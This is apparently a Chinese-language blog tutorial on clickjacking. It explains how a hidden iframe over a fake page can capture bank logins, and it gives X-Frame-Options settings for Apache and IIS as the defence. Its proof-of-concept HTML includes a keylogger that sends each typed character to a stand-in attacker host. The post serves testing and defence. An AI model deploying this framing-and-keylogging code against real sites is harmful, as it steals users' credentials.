ClickJacking(掛羊頭賣狗肉)的駭客攻擊方法

ClickJacking(掛羊頭賣狗肉)的駭客攻擊方法

這篇文章主要說明一種特別的攻擊方式ClickJacking,

駭客透過一個假的網頁誘導使用者輸入帳號密碼,但是實際上背後是銀行網站。

讓使用者在不知不決的狀況下就登入銀行網站。這樣的攻擊方式就稱為 ClickJacking。

但是如何測試或是知道網站是否會被受到這樣的攻擊呢?  如何防護? 這篇文章將說明這些議題。

ClickJacking攻擊原理

駭客通常利用網頁的 iFrame 將假造的網頁與正常的網頁載入,在透過 iframe visibility 的屬性設定,

將正常網站的網頁(如:銀行網頁)隱藏,讓使用者看到是一個假造的網頁(如:中獎通知)

當使用者輸入帳號密碼時,其實背後是登入實際的網站。駭客因此藉接獲取該銀行的帳號密碼與存取權限。

因此,要知道網站是否會收到這樣的攻擊,就必須測試網站是否可以在任意的 HTML iframe 被載入。

iFrame 載入測試

如何測試?

可以利用筆者下列提供的範例程式。

1. 產生一個 ClickJacking.html 將下列程式複製貼上

2. 將程式碼中的網址改成受測網站。”https://banking-Victim.site/login”

3. 用瀏覽器開啟這個 ClickJacking.html

4. 如果受測網站會正常的顯示在 iFrame中,表示該網站會受到 ClickJacking的攻擊

[pastacode lang=”markup” message=”” highlight=”” provider=”manual”]

<html> 
<head> 
<title>Clickjacking Proof of Concept</title> 
<STYLE type="text/css"> #d

	{ position: absolute;  margin-top:260px;  left:1px;  } 
	#block{ position: absolute;  z-index: 99;  left: 1px;  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; 
	filter: alpha(opacity=0);  -moz-opacity: 0;  -khtml-opacity: 0;  opacity: 0;  } 
	.a { position: absolute;  height: 250px;  width: 400px;  top:0px;  left:5px;  } 
</STYLE>

<script> 
	var keylog='';  
	var t = document.getElementById("captured");  
	document.onkeypress = 
		function (e) 
		{ evt = e || window.event;  
			k = evt.which || evt.keyCode;  
			var t = document.getElementById("captured");  
			t.innerHTML = keylog += String.fromCharCode(k);  
			var attackerimg = new Image;  attackerimg.src = "http://hacker-website.com" + String.fromCharCode(k);  
		
		} 
	
	function setFocus()
	{ var i = document.getElementById('fake');  
		i.style.display="";  
		i.focus();  
		i.style.display="none";  
	} </script> </head> <BODY> 
	

	<iframe class="a" onload="setFocus()" onfocus="setFocus(); 
	
		" src="https://banking-Victim.site/login" auto">

		</iframe> 
	
	<div class="a" id="block"><input id="fake" type="text"></div>
	<div id="d">Captured User Input: <div id="captured"></div> </div> 

</BODY> 
</html>

[/pastacode]

這段程式是做什麼呢? 模擬駭客竊取帳號密碼的方式。

當載入的網頁是登入的網頁,使用者輸入帳號密碼,這個 ClickJacking的網頁 JavaScript 程式會印出該輸入的帳號密碼。

 

如何避免這樣的攻擊?

這樣的攻擊防護很容易。只要在 Http Header 設定 X-Frame-Option即可。

在哪裡設定呢? 通常一般的網站伺服器就可以做這個設定。

Apache

Header always append X-Frame-Options SAMEORIGIN

IIS  Web.config

<system.webServer>

<httpProtocol>
<customHeaders>
<add name=”X-Frame-Options” value=”SAMEORIGIN” />
</customHeaders>
</httpProtocol>

</system.webServer>

X-Frame-Options限制?

太舊的瀏覽器並不支援 X-Frame-Options。隨著時間的經過,筆者認為這慢慢不是一個問題。

畢竟這些版本的瀏覽器在市面上越來越少。

Browser DENY/SAMEORIGIN Support Introduced ALLOW-FROM Support Introduced
Chrome 4.1.249.1042 Not supported/Bug reported
Firefox (Gecko) 3.6.9 (1.9.2.9) 18.0
Internet Explorer 8.0 9.0
Opera 10.50
Safari 4.0 Not supported/Bug reported

:

 

 

 

 

 

Leave a Reply

Your email address will not be published. Required fields are marked *